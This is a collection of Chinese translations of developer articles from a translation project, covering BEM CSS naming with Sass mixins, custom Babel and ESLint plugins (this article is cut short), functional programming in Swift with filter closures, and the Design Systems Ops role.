[L9m](https://github.com/L9m), [JasinYip](https://github.com/JasinYip) # 使用 BEM 来模块化你的 CSS 代码 如果你对 BEM 不熟悉,它是通过一种严格方式来将 CSS 类划分成独立构成要素的一种命名方法。它表示为 _Block Element Modifier_,一个常见的 BEM 看起来就像这样: .block {} .block__element {} .block--modifier {} .block__element--modifier {} BEM 的原则很简单:一个 **Block** 代表一个对象_(一个人、一个登录表单、一个菜单)_;一个 **Element** 是一个块中作为特定功能的组件_(一个帮助按钮、一个登录按钮、一个菜单项)_;一个 **Modifier** 是我们如何表示块或元素的不同变化_(一个女人、一个带有隐藏标签的迷你登录框、 footer 中一个不同的菜单)_。 这里有足够的在线资源来说明 BEM 方法的更多细节([https://css-tricks.com/bem-101/](https://css-tricks.com/bem-101/),[http://getbem.com/naming/](http://getbem.com/naming/))。在这篇文章中,我们将聚焦如何应对在项目中应用 BEM 所遇到的挑战。 ![](https://cdn-images-1.medium.com/max/2000/1*SKT3ZS6CRReXfuYORkr53g.jpeg) 在我们决定使用 BEM 方法转换样式之前,我们做了一些调研。环顾四周,我们发现有不少文章、研究、文档以及其他一些内容看起来回答了所有可能的问题。显然我们找到了我们的新死党。 但是一旦你在某一个方向深入一下,你就会产生一些困惑。你越是努力的想让它变好,它就变得越糟——除非你对它视而不见,并且把它当作你的朋友来对待。我们的故事开始于几个月前,那个时候我们遇见了 BEM。我们出去并自我介绍,然后被BEM诱惑到了,我们在的一些玩具项目中使用了 BEM。我们关系很密切,这就产生了一个决定:我们喜欢它,并想进一步发展我们之前的友谊到一个新的高度。 接下来的过程是相当的简单和自然。我们实验了一些_命名规范_和_手动创建样式类_。在决定了_一套准则_后,我们创建的基本的 mixins 来_生成类名_,这样我们在添加一个新的修饰符或者元素的时候,就不需要每次都是用一个块名。 所以我们的旅程就像下面这样开始了: ![](http://ww1.sinaimg.cn/large/005SiNxygw1f3djsb5400j30je06odfx.jpg) 然后我们使用了一系列自定义的 mixins 来转换上面的代码: ![](http://ww3.sinaimg.cn/large/005SiNxygw1f3dju9380fj30je04xq3a.jpg) 慢慢地,当越来越多的边缘 case 涌现出来的时候,我们通过增加 mixins 而不同改变已存在的代码。相当的简洁! 所以如果我们想定义 full-size 修饰符下的 list 元素,我们需要这样做: ![](http://ww3.sinaimg.cn/large/005SiNxygw1f3djvc8f5rj30jd08ewf6.jpg) ### 在程序中如何使用 BEM 我们并没有一下子把所有东西都转换成遵循这些方法,而是平滑地慢慢地把一个一个小块转换过去。 与任意规则类似,我们必须理解双方的关系才能更好的相处。毫无疑问,我们遵循的一个指导原则是 BEM 方法的一部分,其中有一些规则是我们在后来增加的。 **基本原则**是我们**绝不在块中嵌套块、在元素中嵌套元素**。这是我们绝对不能打破的一条原则。 下面这样是一个块中非常深的嵌套: ![](http://ww4.sinaimg.cn/large/005SiNxygw1f3djwmz8w8j30je03xwei.jpg) 如果需要更多的嵌套,这意味着会更加复杂,这时应该把元素分解到小块中。 另一个规则是转换元素为块。遵循规则1,我们**将任何事情划分为更小的部分**。 让我们来聊聊一个相关组件的结构: ![](http://ww4.sinaimg.cn/large/005SiNxygw1f3djwmz8w8j30je03xwei.jpg) 首先我们创建较高级别的块对应的结构: ![](http://ww3.sinaimg.cn/large/005SiNxygw1f3djzbvfl8j30jj02wjrg.jpg) 然后我们成重复较小的内部结构: ![](http://ww3.sinaimg.cn/large/005SiNxyjw1f3dk19r5m5j30jg03fdg4.jpg) 如果名称变得更加复杂,我们只需要把它提取到另一个较小的块中: ![](http://ww4.sinaimg.cn/large/005SiNxygw1f3dk2w9mdej30jf03cdg4.jpg) 然后增加一些复杂的东西——我们想增加一些鼠标悬浮的效果: ![](http://ww1.sinaimg.cn/large/005SiNxyjw1f3dk3szxamj30jf079t9b.jpg) 所有的这些做完之后,如果我们将代码放到样式表中,它看起来结构会很好: ![](http://ww2.sinaimg.cn/large/005SiNxyjw1f3dk4eqsjaj30jg053js2.jpg) 没有什么能够阻止我们去清除一些不必要的语义。因为我们这部分代码明显是列表的一部分,并且在相关的环境中没有其他项,所以我们把它重命名为 **_correspondence-item_**: ![](http://ww4.sinaimg.cn/large/005SiNxygw1f3dk6qvkodj30jf02wmxf.jpg) 这是另外一条规则:我们使用**简化的命名方式**来命名嵌套组件的 BEM 块,从而使其与其它块不会冲突。 _例如,我们不会对 item-title 简化,因为我们在主要的块或者预览的标题中有一个 correspondence-title。这太常见了。_ ### Mixins 我们使用的 mixins 是一个内部样式库 Paint 的一部分。 你可以在这里找到它:[ https://github.com/alphasights/paint/blob/develop/globals/functions/_bem.scss](https://github.com/alphasights/paint/blob/develop/globals/functions/_bem.scss) _Paint 是一个可用的 bower/NPM 包,并且它正在经历一个核心的重构。BEM mixins 仍然是可用并且定期维护的。_d #### 为什么我首先需要 mixins ? 我们的目标是使 CSS 类生成系统变得非常简单,因为我们知道前端和后端工程师不需要花费大量的时间来构建样式表。所以我们尽可能的自动化这一过程。 同时我们开发了一系列辅助组件来做与模版类似的事情——提供一个定义块、元素和修饰符的方式,然后就像我们在 CSS 中一样自动生成标签类_。_ #### 如何工作 我们有一个 **__bem-selector-to-string_** 函数来简单的处理选择器,将它转换为字符串。Sass _(rails)_ 和 LibSass _(node)_ 在处理选择器字符串的时候似乎是不通的。有时类名中的点被添加到了字符串,所以我们要确保在近一步处理之前,要除去这些东西来作为预防措施。 我们用来检查一个选择器是否有一个修饰符的函数是 **__bem-selector-has-modifier_**。如果存在修饰符或者有伪类 _(:hover, :first-child etc.)_ 存在,它将返回 _true_。 最后一个函数用来从一个包含修饰符或者伪类的字符串中提取块的名字。如果**_对应的块名_**全部通过的话,**__bem-get-block-name_** 将返回 **_对应的块名_**。当我们使用内部修饰的元素的时候,我们需要使用块名,否则我们将很难生成一个类名。 **_bem-block_** mixin 生成一个带有类名和相关属性的基本块名。 **_bem-modifier_** mixin 生成一个 **_.块名 — 修饰符_** 类名。 **_bem-element_** mixin 做了更多事。它检查是否父级选择器是否是一个修饰符 _(或者是一个伪类选择器)_。如果是的话,它将生成一个嵌套的结构包括 **_块名 — 修饰符_** 的块名,并且在内部包括 **_块名 - 元素名_**。如果不是的话,我们将直接创建一个 **_块名__元素名_**。 _对于元素和修饰符,我们目前使用_ **@each elements** _但是我们在下一个版本中优化了它,从而允许共享相同的属性来取代在每个元素中复制属性。_ ### BEM 给我们带来了什么享受 #### 模块化 在一个组件中添加了太多的逻辑是非常难重构的。通过使用 BEM 而没有了太多的选择,在在大多数时候也是一件好事。 #### 清晰 当我们看 DOM 的时候,会很容易的找到块所在的位置,元素的含义以及修饰符如何使用。类似的,当我们看一个组件样式表的时候,你会很容易的找到需要改变或者增加一些复杂度的地方。 ![](https://cdn-images-1.medium.com/max/800/1*rF5RDVUI-gNxZVdmkzZ-uA.png) 一个具有交互组件的块结构: ![](http://ww1.sinaimg.cn/large/005SiNxygw1f3dko8pufuj30m80i0tbh.jpg) 一个带有元素和修饰符的块结构。 #### 团队协作 在同样的样式表上一起工作,很难避免样式的冲突。但是通过使用 BEM,每个人可以在他们自己的块-元素中工作,所以不会影响到其他人。 #### 原则 当写 CSS 的时候,我们喜欢遵循一系列的原则/规则。BEM 默认遵循下面的规则,从而使的书写代码更加容易。 **1\. 关注度分离** BEM 强制我们划分样式为更小的部分,从而使的包括元素和修饰符的块更易维护。如果逻辑变得太复杂,这时候应该将它划分到为更小的部分。规则 #2。 **2\. 单一职责原则** 每一个块有单一的职责来封装组件中的内容。 对于初始示例,相应的部分应该负责建立列表和预览元素的网格。我们不共享内部与外部的职责。 遵循这个方法,如果网格发生变化, 我们只需要改变相应部分的内容。其他的部分仍然可以很好的工作。 **3\. DRY(不要重复自己)** 每次我们偶然发现代码复制了,我们就会将它提取到占位符和 mixins 中。如果我们需要在当前作用于中 _(上下文中重要的组件)_ 重复,那就用这个模式——使用下划线定义 mixins 和伪类。 记住不要在在用过就丢弃的代码以及独立偶尔有不同属性的两份重复代码中浪费功夫。 **4\. 开闭原则** 当使用 BEM 的时候,这个原则是很难打破的。它指出,一切事情都应该对扩展开放,对修改关闭。我们避免直接在其他块的环境中改变块的属性。相反我们创建修饰符来达到这个目的。 * * * BEM 是一个强大的方法,但是我认为这个秘密你是自己的。如果有时候它不起作用,那就找出怎么才可以起作用,并且可以破坏规则。只要它能带来结构和提高生产力,那么实现它就绝对具有价值。 * * * 我们很乐于听到你使用 BEM 来解决你所面临大挑战。 ================================================ FILE: TODO/how-writing-custom-babel-and-eslint-plugins-can-increase-your-productivity-and-improve-user.md ================================================ > * 原文地址:[How writing custom Babel & ESLint plugins can increase productivity & improve user experience](https://medium.com/@kentcdodds/how-writing-custom-babel-and-eslint-plugins-can-increase-your-productivity-and-improve-user-fd6dd8076e26) > * 原文作者:[Kent C. Dodds](https://medium.com/@kentcdodds) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-writing-custom-babel-and-eslint-plugins-can-increase-your-productivity-and-improve-user.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-writing-custom-babel-and-eslint-plugins-can-increase-your-productivity-and-improve-user.md) > * 译者:[H2O2](https://github.com/H2O-2) > * 校对者:[MJingv](https://github.com/MJingv),[zyziyun](https://github.com/zyziyun) # 自定义 Babel 和 ESLint 插件是如何提高生产率与用户体验的 --- ![](https://cdn-images-1.medium.com/max/2000/1*5eWvduloSZ5sSGd0TGUSWA.jpeg) 一个正在探索**森林**的人(来源:[https://unsplash.com/photos/ZDhLVO5m5iE](https://unsplash.com/photos/ZDhLVO5m5iE)) # 自定义 Babel 和 ESLint 插件是如何提高生产率与用户体验的 **而且比你想象的容易很多...** **我的[前端大师课程 「程序变换(code transformation)与抽象语法树(AST)」](https://frontendmasters.com/courses/linting-asts/)已经发布了🎉 🎊(进入网址查看课程的简介)!我觉得你们应该都有兴趣了解为什么要花上 3 小时 42 分钟来学习编写 Babel 和 ESLint 插件** 构建应用程序是件困难的事,并且难度会随着团队和代码库的扩张而增大。幸运的是,我们有诸如 [ESLint](http://eslint.org/) 和 [Babel](https://babeljs.io/) 这样的工具来帮助我们处理这些逐渐成长的代码库,防止 bug 的产生并迁移代码,从而让我们可以把注意力集中在应用程序的特定领域上。 ESLint 和 Babel 都有活跃的插件社区 (如今在 npm 上 [「ESLint plugin」](https://www.npmjs.com/search?q=eslint%20plugin&page=1&ranking=optimal) 可以搜索出 857 个包,[「Babel Plugin」](https://www.npmjs.com/search?q=babel%20plugin) 则可以搜索出 1781 个包)。正确应用这些插件可以提升你的开发体验并提高代码库的代码质量。 尽管 Babel 和 ESLint 都拥有很棒的社区,你往往会遇到其他人都没遇到过的问题,因此你需要的特定用途的插件也可能不存在。另外,在大型项目的代码重构过程时,一个自定义的 babel 插件比查找/替换正则要有效得多。 > **你可以编写自定义 ESLint 和 Babel 插件来满足特定需求** ### 应在什么时候写自定义的 ESLint 插件 ![](https://cdn-images-1.medium.com/max/1200/1*w18mlu-5XnwPK9rQn0JYeQ.png) ESLint logo 你应该确保修复过的 bug 不再出现。与其通过 [测试驱动开发(test driven development)](https://egghead.io/lessons/javascript-use-test-driven-development)达到这个目的,先问问自己:「这个 bug 是不是可以通过使用一个类型检查系统(如 [Flow](https://flow.org/))来避免?」 如果答案是否定的,再问自己「这个 bug 是不是可以通过使用 [自定义 ESLint 插件](http://eslint.org/docs/developer-guide/working-with-rules)来避免?」 这两个工具的好处是可以**静态**分析你的代码。 > 通过 ESLint 你 **不需要运行任何一部分代码**即可断定是否有问题。 除了上面所说的之外,一旦你添加了一个 ESLint 插件,问题不仅在代码库的特定位置得到了解决,**该问题在任何一个位置都不会出现了**。这是件大好事!(而且这是测试无法做到的)。 下面是我在 PayPal 的团队使用的一些自定义规则,以防止我们发布曾经出现过的 bug。 - 确保我们一直使用本地化库而不是把内容写在行内。 - 强制使用正确的 React 受控组件(controlled component)行为并确保每个 `value` 都有一个 `onChange` handler。 - 确保 `
      ================================================ FILE: TODO/intro-to-swift-functional-programming-with-bob.md ================================================ > * 原文地址:[Intro to Swift Functional Programming with Bob](https://medium.com/ios-geek-community/intro-to-swift-functional-programming-with-bob-9c503ca14f13#.i3o0lngnq) * 原文作者:[Bob Lee](https://medium.com/@bobleesj?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Deepmissea](http://deepmissea.blue) * 校对者:[thanksdanny](http://thanksdanny.mobi),[Germxu](https://github.com/Germxu) # Bob,函数式编程是什么鬼? ## 写给年轻的自己的教程 老司机怎么开车,我们就怎么开 ### 函数式编程? 你懂的。很多人都讨论它。你 Google 一下然后看了看前五篇文章,令人沮丧的是,你发现大部分文章只给出一个含糊不清的 Wikipedia 定义,像是: > “函数式编程是一种编程范式,能让你的代码清晰又明确,没有变量也没有状态。” 和你一样,老兄,事实上,我也这样搜索过。我温柔地做了个捂脸的表情,并轻声回应道: > 这 TM 是啥? #### **先决条件** 和闭包很像。如果你不理解什么是后进和关键标识,比如 $0,那你还没做好阅读这篇教程的准备。你可以暂时离开,找[这里](https://bobleesj.gitbooks.io/bob-s-learning-journey/content/WORK.html)的资源来升升级。 ### 非函数式编程 我是十万个为什么。为什么要学习函数式编程?好吧,最好的答案往往来自于历史。假设你要创建一个添加一个数组的计算器应用。 ``` // Somewhere in ViewController let numbers = [1, 2, 3] var sum = 0 for number in numbers { sum += number } ``` 没问题,但是如果我再添加一个呢? ``` // Somewhere in NextViewController let newNumbers = [4, 5, 6] var newSum = 0 for newNumber in numbers { newSum += newNumber } ``` 这看起来就像我们重复我们自己,又长又无聊,还没必要。你不得不创建一个 `sum` 来记录添加的结果。这很让人崩溃,五行代码。我们最好创建一个函数代替这些玩意。 ``` func saveMeFromMadness(elements: [Int]) -> Int { var sum = 0 for element in elements { sum += element } return sum } ``` 这样在需要使用 `sum` 的地方,直接调用 ``` // Somewhere in ViewController saveMeFromMadness(elements: [1, 2, 3]) // Somewhere in NextViewController saveMeFromMadness(elements: [4, 5, 6]) ``` **停下别动,对。你现在已经尝试了一个函数式范式的使用。函数式就是用函数来得到你想要的结果。** ### 比喻 ### 在 Excel 或者 Google 的 Spreadsheet 上,如果要对一些值求和,你需要选择表格,然后调用一个像是 C# 编写的函数。 Excel 里的求和函数 *好,就是这样,再见。感谢阅读。* 😂 ### 声明式 vs 命令式 最后,现在,是时候拿出详细的函数式编程定义了。 #### **声明式** #### 我们经常把函数式编程描述为**声明式**的。**你无须在意这个答案从何而来**。举个例子,一个人来爬珠穆朗玛峰,可能从飞机上跳下去,也可能花好几年从地下开始爬。**你会得到同样的结果**。人们往往不知道 Excel 表格里的 `Sum` 是怎么组成的,但是,它就是得到相应的结果。 一个残酷的例子,众所周知的非函数式编程,我们经常看到上面的调用被称为**命令式**。它告诉你**如何(how)**得到从 A 到 B 的答案。 ``` let numbers = [1, 2, 3] var sum = 0 for number in numbers { sum += number } ``` 人们知道你循环了 `numbers`。**但是,这有必要么?**我不在意它是怎么做的,我只在意结果的出来的迅速快捷。 因此,Excel 和 Spreadsheet 融合了函数式编程的范式,来更快更简单的获取结果,而不需要关心具体的实现。(我父亲也没必要在处理公司财务数据的时候关心它) ### 其他的好处 ### 在上面那个让人崩溃的例子里,我们不得不创建一个 `var sum = 0` 来跟踪每个视图控制器的增加结果。但是这有必要吗?`sum` 的值不断改变,如果我弄乱了总和怎么办?而且,我在[10 条 tips 让你成为一个更好的 Swift 开发者](https://medium.com/ios-geek-community/10-tips-to-become-better-swift-developer-a7c2ab6fc0c2#.rcnngphgj)中提到过, 更多的变量 → 更多记忆 → 更多头痛 → 更多 bug → 更多的生活问题。 更多的变量 → 容易 TM 的 → 完蛋 > **因此,函数式范式确保在使用的时候不可变或者没有状态的变化。** 而且,和你意识到的或即将发现的一样,函数式范式提供了一个更利于维护代码的模型。 ### 目的 ### 那好,现在你明白了为什么我们喜欢函数式编程。所以呢?嗯,这篇教程,**只专注于基本面**。我不会讨论函数式编程在事件和网络等等中的应用。我可能会发一些通过 RxSwift 来做这些事的教程。所以说如果你是新手,跟着我,螺旋稳。 ![](http://pic.7230.com/Uploads/Picture/2016-12-23/585cc99f0000f.png) (译者配的图 😂 ) ### 真正的工作 ### 你可能已经见过像 `filter`、`map`、`reduce` 等等的一些东西。不错,这些让你用函数式的途径中的**过滤器**来处理一个数组。确保你对泛型的理解同样的酷。 这全是关于基本面的东西。如果我能教你如何在泳池里游泳,那你也可以在海里,湖里,池塘里,泥坑里(最好不是)游泳,这这篇教程,如果你学会了基本面,你就可以创建你自己的 `map` 和 `reduce` 或者其他你想要的炫酷函数。你可以 google 东西,否则,你不会从我这里得到这个叫“Bob”的开发者的解释了。 ### 过滤器 ### 假设你有个数组。 ``` let recentGrade = ["A", "A", "A", "A", "B", "D"] // My College Grade ``` 你想要过滤/带来并且返回一个只包含 “A” 的数组,这能让我妈妈感到快乐。你怎么用**命令式**的方式来做这个? ``` var happyGrade: [String] = [] for grade in recentGrade { if grade == "A" { happyGrade.append(grade) } else { print("Ma mama not happy") } } print(happyGrade) // ["A", "A", "A", "A"] ``` **这简直让人发疯。**我竟然写了这种代码。我不会在校对的时候重新检查,这很残忍。视图控制器中的8行代码?🙃 > *不堪回首*。 我们必须停止这种疯狂,并拯救所有像你这么做的人。让我们创建一个函数来完成它。振作起来。**我们现在要对付一下闭包了**。让我们试着创建一个过滤器来完成和上面一样的工作。**真正麻烦现在来了。** ### 函数式的方式简介 ### 现在我们创建一个函数,有一个包含 `String` 类型的数组并且有个闭包,类型是 `(String) -> Bool`。最后,它返回一个过滤后的 `String` 数组。为啥?忍我两分钟就告诉你。 ``` func stringFilter(array: [String], **returnBool: (String) -> Bool**) -> [String] {} ``` 你可能会对 `returnBool` 部分特别苦恼。我知道你在想什么, > 那么,我们要在返回 **Bool** 下传递什么? 你需要创建一个闭包,包含一个 if-else 语句来判断数组里是否含有 “A”。如果有,返回 `true`。 ``` // A closure for returnBool let mumHappy: (String) -> Bool = { grade in return grade == "A" } ``` 如果你想让他更短, ``` let mamHappy: (String) -> Bool = { $0 == "A" } mamHappy("A") // return true mamHappy("B") // return false ``` **如果你对上面的两个例子感到困惑,那你还适应不了这个副本。你需要锻炼一下然后再回来。你可以重读我关于闭包的文章**。[**链接**](https://medium.com/ios-geek-community/no-fear-closure-in-swift-3-with-bob-72a10577c564#.uzdsqd7oa) 由于还没完成我们 `stringFilter` 函数的实现,让我们从离开的位置继续。 ``` func stringFilter (grade: [String], returnBool: (String) -> Bool)-> [String] { var happyGrade: [String] = [] for letter in grade { if returnBool(letter) { happyGrade.append(letter) } } return happyGrade } ``` 你的表情一定是 😫。我想说把刀放下,听我解释。通过 `stringFilter` 函数,你可以传递 `mamHappy` 作为 `returnBool`。然后调用 `returnBool(letter)`,把每个项传递个 `mamHappy`,最终就是 `mamHappy(letter)`。 它返回 `true` 或者 `false`。如果返回真,把 `letter` 加到只有 “A” 的 `happyGrade` 里。🤓 这就是为什么我妈妈在过去 12 年里感到开心的原因。 不管怎样,最终运行一下函数。 ``` let myGrade = ["A", "A", "A", "A", "B", "D"] let lovelyGrade = stringFilter(grade: myGrade, returnBool: **mamHappy**) ``` ### 直接输入闭包 ### 其实你不需要创建一个分离的 `mamHappy`。可以直接在 `returnBool` 传递。 ``` stringFilter(grade: myGrade, returnBool: { grade in return grade == "A" }) ``` 我想让它更简洁。 ``` stringFilter(grade: myGrade, returnBool: { $0 == “A” }) ``` ### 肉和土豆 ### 祝贺,如果你已经到了这里,那你已经做到了。我很感谢你的关注。现在让我们创建一个野蛮点的,广为人知的通用过滤器,你可以创建一堆你想要过滤的。比如,过滤你不喜欢的单词,过滤数组里大于 60 小于 100 的数。过滤只包含真值的布尔类型。 最棒的是它用**一句话**就可以形容。我们拯救了生命和时间。爱它,我们可以努力工作,但是我们要聪明的努力工作。 ### 泛型代码 ### 如果你对泛型代码感到不适,那你现在所在的位置并不正确,这里车速很快,赶快到安全的地方,名字是“[**Bob,泛型是什么鬼?**](https://medium.com/ios-geek-community/intro-to-generics-in-swift-with-bob-df58118a5001#.z61lki1c5)”,然后带点武器回来继续。 我要创建一个含有 `Bob` 泛型的函数,你可以使用 `T` 或者 `U`。但是你要知道,这是我的文章。 ``` func myFilter(array: [Bob], logic: (Bob) -> Bool) -> [Bob] { var result: [Bob] = [] for element in array { if logic(element) { result.append(element) } } return result } ``` 让我们试着找点聪明的学生 #### 应用到学校系统 #### ``` let AStudent = myFilter(array: Array(1...100), logic: { $0 >= 93 && $0 <= 100 }) print(AStudent) // [93, 94, 95, ... 100] ``` #### 应用到投票计数 #### ``` let answer = [true, false, true, false, false, false, false] let trueAnswer = myFilter(array: answer, logic: { $0 == true }) // Trailing Closure let falseAnswer = myFilter(array: answer) { $0 == false } ``` ### Swift 里的过滤器 ### 幸运的是,我们不需要创建 `myFilter`。Swift 已经为我们提供了一个默认的。现在我们创建一个从一到一百的数组,然后只要小于 51 的偶数。 ``` let zeroToHund = Array(1…100) zeroToHund.filter{ $0 % 2 == 0 }.filter { $0 <= 50 }) // [2, 4, 6, 8, 10, 12, 14, ..., 50] ``` > 这就 OK 了。[源码](https://bobleesj.gitbooks.io/bob-s-learning-journey/content/Content/01_Swift_3/Intro_to_Functional_Programming.html) ### 我的消息 ### 我敢肯定你现在已经在想,怎么在你的应用和程序里使用函数式编程。记住,你使用什么语言都无所谓。 你需要清晰的是如何将函数式范式引用到更多的领域。在你 Google 之前,我建议你花一点时间消耗一两个脑细胞想一想。 从你理解 “filter” 背后的真正含义后,你现在可以更简单的 google 然后查看什么是 `map` 和 `reduce`,以及其他函数是怎么组成的。我希望能你在不冷不热的环境中学会游泳。 > 你现在只被你的想象力所限制。保持思考并 Google。 ### 最后的话 ### 在我个人看来,这篇文章是黄金。它出现在我被闭包和函数式的东西弄得一脸懵逼的时候。人们都喜欢特别简单的原则。如果你喜欢我的解释,请分享并推荐给更多的人。我收到的心越多,我就会越像抽水泵一样,为每个人献出更伟大的内容!而且,更多的心意味着基于 Medium 算法上的更多观点。 **有 Instagram 上的 geek 吗?我会发布我的一些日常并更新。欢迎大家随时添加我,跟我打招呼!**@[*bobthedev*](https://instagram.com/bobthedev) ### Swift 会议 ### 我的一个葡萄牙朋友 [João](https://twitter.com/NSMyself) 正在葡萄牙阿威罗组织一个 Swift 会议。不像许多人在的那里,这次会议的目的是实验性参与。观众与演讲者可以相互交流 - 带上你的笔记本电脑。这是我第一次的 Swift 会议。我超兴奋!除此之外,它也是经济实惠的。活动会在 2017 年的六月一号到二号举行。如果你有兴趣了解更多信息,请随时查看网站[这里](http://swiftaveiro.xyz)或下面的 Twitter。 [SwiftAveiro (@SwiftAveiro) | Twitter](https://twitter.com/SwiftAveiro) ### 关于我 ### 我在我的 [Facebook 页面](https://www.facebook.com/bobthedeveloper)上给出详细的更新信息。一般在美国东部时间的上午八点,我会发表文章。2017 年,我立志成长为 Medium 上 iOS Geek 社区中第一的 iOS 博客。 ================================================ FILE: TODO/introducing-design-systems-ops.md ================================================ >* 原文链接 : [Design Systems Ops](https://medium.com/salesforce-ux/introducing-design-systems-ops-7f34c4561ba7#.iumcuwu3v) * 原文作者 : [Kaelig](https://medium.com/@kaelig) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [L9m](https://github.com/l9m/) * 校对者: [JasinYip](https://github.com/JasinYip), [shenxn](https://github.com/shenxn), [Ruixi](https://github.com/Ruixi) # 设计师如何跟开发打好关系? ![](https://cdn-images-1.medium.com/max/2000/1*RbwXg-OMlJTG7iiHs4NMQg.jpeg)
      Design Systems Ops: 规模化地装运(设计)。
      伟大的产品离不开开发和设计的良好沟通。无论你是谁,归根结底,我们都是在创造软件产品。有了设计系统之后,沟通将变得更加简单。 但是谁将建立起设计和开发之间的沟通桥梁呢? 我把这些推动者称为 _Design Systems Ops._ Design Systems Ops 是设计团队的一部分,他需要足够了解设计,并且要了解他们试图概念化什么。同时,Design Systems Ops 需要理解工程师的需求和定义方法,这将有助于设计系统的装运和规模化。在某些程度上,一个 Design Systems Ops 是两个世界的翻译。 ### 大多数公司存在的问题 在大多数组织流程结构中,从概念到用户的过程是相当脱节的,以致于产品最终完成时和设计师的初衷很不一致。 ![](https://cdn-images-1.medium.com/max/800/1*NJbl6JkUcbGPLU1bxVW7kw.png)
      从概念到用户的一种典型流程是:越靠近用户阶段,还原度越低。
      信号(概念)受到干扰(低效率)而逐渐变弱,产品在一个非常低的还原度中结束。这种失败对公司创造高质量产品的能力有着巨大影响,并且造成巨大商业机会的浪费。 ### 设计系统能干什么 风格指南、模式库、设计系统等都有助于围绕一种通用的设计语言去规范化实践和设计模式。而语言障碍恰恰是大多数低效率的诱因。 从颜色命名、对象、惯例、组件等开始,到记录最好的最细枝末节的体验,比如动画定时或表单元素的圆角度值。 一个好的设计系统能让设计决策更快。(比如“ call to action 应该是什么颜色”)。从而设计师可以在同样长的时间里,将更多的时间放在(优化)用户流程和对多种概念的探索上。 一个好的设计系统也是帮助开发团队在开发阶段找到获取设计的唯一来源。这对一致性很有好处,因为所有的 call-to-action 都将表现一致。 ![](https://cdn-images-1.medium.com/max/800/1*lIa0DiwLnfc1y14t3KTWpA.png)
      设计系统能在这个过程中减少做无用功:还原度一路上将保持大致稳定。
      一些设计系统也用代码来传达设计模式。这些设计系统从概念开始阶段,到原型阶段,直到实现阶段都能证明其价值。当公司遵循这种方式,这种方式对于生产效率和还原度都是很有帮助的。 > 一个设计系统不是一个项目,它是一个产品,服务型产品 — Nathan Curtis 然而,一些设计系统并没有获得它们应有的赞许,却沦为设计模式的光荣榜,而这些模式离真正的产品代码非常遥远。这是因为对于几个设计师和工程师的部分投资 [是不足够](https://medium.com/@marcelosomers/a-maturity-model-for-design-systems-93fff522c3ba)的:一个设计系统不是简单一个项目,它是一个产品(或就像 Nathan Curtis[说的](https://medium.com/eightshapes-llc/a-design-system-isn-t-a-project-it-s-a-product-serving-products-74dcfffef935): “_一个设计系统不是一个项目,它是一个产品,服务性产品_。”)。为了让设计系统在交付流程的不同阶段都显现出对应的价值,它需要适当规划,用户研究和方法(和很多热爱)。那些创造出最优设计系统的团队,都将设计系统的目标定位为_有生命力的设计系统_。 ### 引入 Design Systems Ops 有生命力的设计系统和其他设计系统之间存在的差距是巨大的。这主要是因为开发团队和设计团队缺乏良好的沟通。最终,产品将用代码的格式呈现,在这过程中影响效率的任何事情都应该被检查。通过引入一个 Design Systems Ops 的角色(灵感来自[DevOps](https://en.wikipedia.org/wiki/DevOps) 运动),能够改善这些低效: ![](https://cdn-images-1.medium.com/max/800/1*Bp4eHmFtS5pfdPHv4pEwdQ.png)
      通过在设计和开发间引入一位中间者,进一步减少低效,增加软件交付的还原度。
      来自于设计系统两边的许多问题: * 我从哪里可以找到标记、颜色面板、数值、图标、模式、断点? * 在制作原型时、在产品中、或者在 Web 视图中我应该如何加载 CSS? * 加载字体图标的最佳方式是什么? * 它们对性能有什么影响? * 我应该在哪里发现文件错误,又应该在哪里寻找其他人解决自身问题的办法(问题追踪,知识基础)? * 我该如何为设计系统做贡献(修复 bug 、增加一个图标)? * 我是一个参与者,我该怎样在多种环境中测试我的代码而不至于出错呢? * 我是一个开发者,对于设计系统我该知道些什么? * 我是一个设计师,我该怎样迭代浏览器中的现有模式? * 从 v1.0 到 v2.0 的升级路径是什么? * 0.5.0 版本的文档在哪里? 我学习了一些像 [Bootstrap](http://getbootstrap.com/) 和 [Material Design Lite](http://getmdl.io/) 这样的开源项目。在《卫报》, [我开始构建起设计和开发的桥梁](https://www.youtube.com/watch?v=ciG-A_1FyVg),里面提到主要采用 Sass 。在金融时报为 [Origami](http://origami.ft.com) 项目工作时也帮助我发现规模化设计的新思路。 我今天工作的地方, [Salesforce](https://www.lightningdesignsystem.com),有一个团队的工程师作为 Design Systems Ops,热衷于将更快更好的代码交付给用户。 在回顾我过往如何规模化设计的经验之后,这些都是 Design System Ops 可以做的工作: * 本地开发环境(源映射,无刷新重载,速度) * 托管(放置设计展示和文档) * 代码演示(比如 CodePen、JS Bin) * 技术文档(安装、问题诊断) * 前端自动化测试(可访问性、集成) * 跨浏览器自动化测试 * 视觉回归测试 * 代码风格检查 ([我之前写的](https://www.theguardian.com/info/developer-blog/2014/may/13/improving-sass-code-quality-on-theguardiancom)) 前面这一系列是以前端为中心的,但是这里有些更接近后端的: * 构建系统 * 资源储存和分布(CDN、压缩) * 性能测试(资源大小、服务器加载、CDN 响应时间等等) * 版本流程(比如 git、SemVer) * 发布流程 (比如 [持续开发](http://radar.oreilly.com/2009/03/continuous-deployment-5-eas.html)、[持续集成](http://guide.agilealliance.org/guide/ci.html)) * Testing/Staging阶段环境 * 展现测试和性能结果(比如 仪表板、邮件) 或者,更靠近市场营销这边的事情(开发宣传): * 构建示例 * 帮助开发者实现这套设计系统 * 给开发社区布道这套设计系统 就像前面提到的,在这些方面有坚实的解决方案能很大地帮助设计团队提高交付质量,并提高工作的速度和信心。**这是为什么我相信在设计团队中有个好的参谋将增加项目成功的可能性。** ### 总结 随着越来越多的公司构建属于自己的设计系统,他们也开始显示出增加技术人员去支持设计的工作和工具的兴趣。因为它只是这个角色的开始,有些问题也让我夜不能寐。 * **Design Systems Ops 能在其他方面做些什么?** * **什么工具能帮助小型团队在成本有限的情况下遵循这个路线呢?** * **除了开发速度,还有那些方面应该是Design Systems Ops应该评判的?** 我非常乐意听听你的看法,如果你也在旧金山,来[喝杯咖啡](https://twitter.com/kaelig)聊一聊。 Design Systems Ops 并没有我凭空产生的想法,要理解我想法的由来,你可以阅读[Ian Feather's awesome presentation about Front End Ops](http://ianfeather.co.uk/presentations/front-end-ops/). 同样, 听 [Design Details](http://spec.fm/) 